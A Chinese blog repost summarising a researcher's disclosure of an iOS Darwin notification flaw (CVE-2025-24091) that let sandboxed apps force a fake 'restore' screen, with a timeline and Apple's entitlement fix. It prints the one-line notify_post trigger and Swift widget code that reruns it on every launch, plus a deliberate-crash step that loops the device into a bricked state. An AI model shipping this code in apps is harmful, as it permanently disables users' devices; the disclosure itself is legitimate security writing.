总阅读量:次

⭐⭐⭐ Spring Boot 项目实战 ⭐⭐⭐ Spring Cloud 项目实战
《Dubbo 实现原理与源码解析 —— 精品合集》 《Netty 实现原理与源码解析 —— 精品合集》
《Spring 实现原理与源码解析 —— 精品合集》 《MyBatis 实现原理与源码解析 —— 精品合集》
《Spring MVC 实现原理与源码解析 —— 精品合集》 《数据库实体设计合集》
《Spring Boot 实现原理与源码解析 —— 精品合集》 《Java 面试题 + Java 学习指南》

摘要: 原创出处 网络 「网络」欢迎转载，保留摘要，谢谢！

🙂🙂🙂关注微信公众号：【芋道源码】有福利：

  1. RocketMQ / MyCAT / Sharding-JDBC 所有源码分析文章列表
  2. RocketMQ / MyCAT / Sharding-JDBC 中文注释源码 GitHub 地址
  3. 您对于源码的疑问每条留言都将得到认真回复。甚至不知道如何读源码也可以请教噢。
  4. 新的源码解析文章实时收到通知。每周更新一篇左右。
  5. 认真的源码交流微信群。

海外一博主分享了发现 iPhone 漏洞并验证的过程，据他介绍，这是他迄今为止最喜欢的 iOS 漏洞之一，毕竟只有一行代码， iPhone 最终给了他 17,500 美元赏金。

现在，在 iOS 18.3 更新中修复了这一问题，如果你还没更新系统，赶紧去设置里检查一下！

苹果通过加强 Darwin 通知 API 的验证机制，堵住了这个漏洞的入口。

原文链接：https://rambo.codes/posts/2025-04-24-how-a-single-line-of-code-could-brick-your-iphone

1、一行代码引发的灾难

漏洞涉及一个遗留的公共 API —— Darwin 通知 API （Darwin Notification API），许多苹果系统组件仍依赖它，但多数开发者并不熟悉。

这个 API 是苹果系统用来在不同进程间传递消息的工具，类似于手机内部的“消息快递员”。它简单高效，但也埋下了一个致命的隐患：它****不需要任何特殊权限**，而且**不验证消息的发送者**。这意味着，任何应用，甚至恶意软件，都可以伪装成系统组件**，发送破坏性的通知。

技术背景，通知系统对比：

  • NSNotificationCenter：单进程内通信
  • NSDistributedNotificationCenter：跨进程通信（支持附加字符串）
  • Darwin通知：最底层的CoreOS进程通信（仅支持UInt64状态值）

工作机制：

  • 发送：notify_post(“com.example.event”)
  • 接收：notify_register_dispatch注册回调
  • 状态管理：通过notify_register_check获取句柄，配notify_set/get_state操作

漏洞成因，三大致命缺陷：

  • 零权限要求：任何沙盒应用均可自由收发
  • 无发送方验证：无法识别通知来源
  • 系统关键功能依赖：如锁屏、恢复模式等

2、概念验证：EvilNotify

带着这个疑问，作者下载了一份 iOS 18 测试版系统文件，开始查找使用 notify_register_dispatch和 notify_check的进程，并开发了一个测试应用 EvilNotify。

由于手头已无受影响的设备，无法录制真实演示，但 iOS 模拟器的测试已能展现大部分攻击效果（部分功能在模拟器上无法触发）。

攻击效果包括（系统级影响，即使强制退出应用仍持续生效）：

  • 触发状态栏“液体检测”图标
  • 在Dynamic Island显示外接显示器状态
  • 禁用全局手势（控制中心、通知中心、锁屏）
  • 强制系统忽略Wi-Fi，仅用蜂窝数据
  • 锁定屏幕
  • 弹出“数据传输中”界面，阻止设备使用
  • 模拟“丢失模式”，要求重新输入Apple ID密码以恢复Apple Pay
  • 最严重的是触发“恢复模式”，仅能通过重启设备解除

关键代码：

notify_post("com.apple.MobileSync.BackupAgent.RestoreStarted")

这一行代码即可让设备进入“恢复中”状态，最终因超时失败，强制用户重启。

3、终极攻击：VeryEvilNotify

为了让设备每次重启后仍自动触发攻击，我开发了 VeryEvilNotify，利用小组件扩展的特性：

  • 小组件扩展在设备启动后可能优先运行（甚至在首次解锁前）。
  • 即使应用未在前台，notify_post仍可生效。
import WidgetKit
import SwiftUI
import notify
struct VeryEvilWidgetBundle: WidgetBundle {
    var body: some Widget {
        VeryEvilWidget()
        if #available(iOS 18, *) {
            VeryEvilWidgetControl()
        }
    }
}
/// Override extension entry point to ensure the exploit code is always run whenever
/// our extension gets woken up by the system.
@main
struct VeryEvilWidgetEntryPoint {
    static func main() {
        notify_post("com.apple.MobileSync.BackupAgent.RestoreStarted")
        VeryEvilWidgetBundle.main()
    }
}

实现方式：

  1. 在小组件扩展的入口代码中插入上述 notify_post调用。
  2. 故意让扩展崩溃（调用fatalError()），迫使系统频繁重新加载扩展，从而重复触发攻击。

效果：设备陷入“恢复→崩溃→重启→恢复”的死循环，彻底变砖。

核心思路：利用系统机制，让恶意代码在后台持久化执行，即使重启也无法逃脱。

“这就像有人在你家门口不停按门铃，迫使你一次次重启房子，结果房子直接‘崩溃’了！” ——Gui Rambo

4、最终效果：设备变砖

部署该小组件扩展后，一旦在测试设备上安装 VeryEvilNotify，系统立即显示“恢复中”界面，随后因恢复失败提示重启。

重启后，SpringBoard（系统主界面进程）初始化时，系统会再次唤醒该扩展（因其此前未能生成有效小组件内容），导致 攻击循环触发：

  1. 扩展执行 → 发送恶意通知 → 触发“恢复中”界面
  2. 恢复失败 → 强制用户重启
  3. 设备重启 → 系统重新加载扩展 → 重复步骤1

结果：设备陷入无限重启循环，只能通过抹除数据并恢复备份来修复。更可怕的是，如果恶意应用被包含在备份中，恢复后可能再次触发漏洞，形成永久性拒绝服务攻击。

5、修复时间线

我的推测是iOS对小组件扩展崩溃存在重试机制（但会限频），但攻击时序恰好绕过了这一防护——扩展崩溃与恢复流程的失败形成死循环，导致系统无法正常恢复。

在完成概念验证后，我向苹果提交了漏洞报告：

时间线：

  • 2024年6月26日：向苹果提交初始报告
  • 2024年9月27日：苹果确认正在修复
  • 2025年1月28日：漏洞标记为已修复，确认漏洞赏金资格
  • 2025年3月11日：分配CVE-2025-24091，修复于iOS/iPadOS 18.3
  • 赏金金额：17,500美元

尽管CVE编号已分配，但截至本文发布时，苹果尚未公开安全公告。根据内部通知，公告将很快发布。

6、苹果的修复方案

苹果在公告中提到：敏感 Darwin 通知现在需要受限权限（restricted entitlements）。具体措施如下：

  1. 权限管控
  • 发送敏感通知的进程需持有特定前缀权限：com.apple.private.darwin-notification.restrict-post.<通知名>
  • 例如原通知com.apple.MobileBackup.BackupAgent.RestoreStarted被重命名为com.apple.private.restrict-post.MobileBackup.BackupAgent.RestoreStarted
  • 系统守护进程 notifyd会验证发送方是否具备对应权限（如com.apple.private.darwin-notification.restrict-post.MobileBackup.BackupAgent.RestoreStarted）
  1. 观察者同步更新
  • 接收通知的进程也需使用带前缀的新通知名，确保未授权应用无法伪造敏感操作
  1. 逐步覆盖
  • 该机制最早出现在 iOS 18.2 Beta 2（构建号22C5125e）
  • 首批适配进程包括backupd、BackupAgent2和UserEventAgent（均与设备恢复相关）
  • 到 iOS 18.3 发布时，所有 PoC 中演示的攻击路径均被阻断

效果：从根本上杜绝了沙盒应用滥用 Darwin 通知进行系统级破坏的可能性。

文章目录
  1. 1. 1、一行代码引发的灾难
  2. 2. 2、概念验证：EvilNotify
  3. 3. 3、终极攻击：VeryEvilNotify
  4. 4. 4、最终效果：设备变砖
  5. 5. 5、修复时间线
  6. 6. 6、苹果的修复方案